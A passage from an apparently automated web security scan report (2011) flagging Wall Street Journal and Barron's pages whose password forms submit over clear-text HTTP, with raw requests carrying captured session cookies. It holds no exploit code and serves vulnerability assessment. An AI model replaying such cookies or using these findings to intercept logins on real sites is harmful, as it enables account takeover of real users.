</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

7.12. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

GET /article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; s_cc=true; _chartbeat2=wh4hk9xmdxztvs8m; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; rsi_csl=; rsi_segs=; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_U.S.%252520Home_0_0_WH_0001_public%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/article/SB10001424052748703864204576321552255041680.html%25253Fmod%25253DWSJ_hp_LEFTTopSto%2526ot%253DA

Response

7.13. http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576321552255041680.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

Response

7.14. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; _chartbeat2=wh4hk9xmdxztvs8m; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.3.10.1305367794; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DPersonal%252520Finance%252520NewsReel_0_0_WP_2400_NewsReel%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/article/SB10001424052748704681904576315662838806984.html%25253Fmod%25253DWSJ_newsreel_pers%2526ot%253DA

Response

7.15. http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576315662838806984.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

7.16. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748704681904576315662838806984
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_vnum=1307959748765%26vn%3D2; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DPersonal%252520Finance%252520NewsReel_0_0_WP_2400_NewsReel%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/article/SB10001424052748704681904576319301584731990.html%25253Fmod%25253DWSJ_newsreel_pers%2526ot%253DA

Response

7.17. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

7.18. http://online.wsj.com/home-page previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /home-page HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:03 GMT
Server: Apache/2.0.58 (Unix)
Set-Cookie: djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
Set-Cookie: DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
Set-Cookie: DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
Set-Cookie: wsjregion=na%2cus; path=/; domain=.wsj.com
Cache-Control: no-cache, no-store
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 06:03:37 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:18 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 160468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>

<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.19. http://online.wsj.com/home-page previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/home-page

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:03 GMT
Server: Apache/2.0.58 (Unix)
Set-Cookie: djcs_route=e3d83c8b-1ab1-48e1-816c-23e200bad9cc; domain=.wsj.com; path=/; Expires=Tue May 11 06:09:03 2021; max-age=315360000
Set-Cookie: DJSESSION=ORCS%3dna%2cus; path=/; domain=.wsj.com
Set-Cookie: DJCOOKIE=ORC%3dna%2cus; path=/; domain=.wsj.com; expires=Sun, 13-May-2012 10:09:03 GMT
Set-Cookie: wsjregion=na%2cus; path=/; domain=.wsj.com
Cache-Control: no-cache, no-store
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 06:03:37 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:18 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 160468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

7.20. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /public/page/news-career-jobs.html?mod=WSJ_topnav_careers_main HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370149|check#true#1305368349; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.2.10.1305367794; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWeekend%252520Investor_SB10001424052748703730804576313682030967852%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/public/page/news-career-jobs.html%25253Fmod%25253DWSJ_topnav_careers_main%2526ot%253DA

Response

7.21. http://online.wsj.com/public/page/news-economy.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-economy.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /public/page/news-economy.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_invisit=true; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=; rsi_segs=; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.1.10.1305367794; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:24 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep03 - Sat 05/14/11 - 05:14:09 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:12:39 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 114673

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.22. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370149|check#true#1305368349; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; s_cc=true; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.2.10.1305367794; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWeekend%252520Investor_SB10001424052748703730804576313682030967852%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/public/page/news-real-estate-homes.html%25253Fmod%25253DWSJ_topnav_realestate_main%2526ot%253DA

Response

7.23. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /for-sale/us/10010?sid=56936 HTTP/1.1
Host: realestate.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_sq=%5B%5BB%5D%5D; s_invisit=true

Response

7.24. http://realestate.wsj.com/for-sale/us/10010 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/for-sale/us/10010

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://realestate.wsj.com/for-sale/us/10010?sid=56936

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

7.25. http://realestate.wsj.com/item/822547 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1 HTTP/1.1
Host: realestate.wsj.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; rsi_csl=lA; rsi_segs=G07608_10001; _vanilla_ui_session=BAh7BzoPc2Vzc2lvbl9pZCIlMWJlN2U5NTA2ZjA1YmMyMzA4YjQwNTg1NjZhMTRkOTE6EF9jc3JmX3Rva2VuIjFaZENHYzV6UXpVWHU4OVFXOVRENWRtRnVVc2N4bUdpSVZ0eERiVGsrS0NrPQ%3D%3D--ac4298512308a102427d420d41ce51f58a11780e; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_RE_Search%252520Results_List%2526pidt%253D1%2526oid%253Dhttp%25253A//realestate.wsj.com/item/822547%25253Fas%2525255Bcountry_code%2525255D%25253Dus%252526as%2525255Blocation%2525255D%25253D10010%252526as%2525255Bsid%2525255D%25253D569%2526ot%253DA

Response

7.26. http://realestate.wsj.com/item/822547 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://realestate.wsj.com
Path:	/item/822547

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

7.27. http://topics.barrons.com/person/S/michael-santoli/6041 previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://topics.barrons.com
Path:	/person/S/michael-santoli/6041

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field:

password

Request

GET /person/S/michael-santoli/6041 HTTP/1.1
Host: topics.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
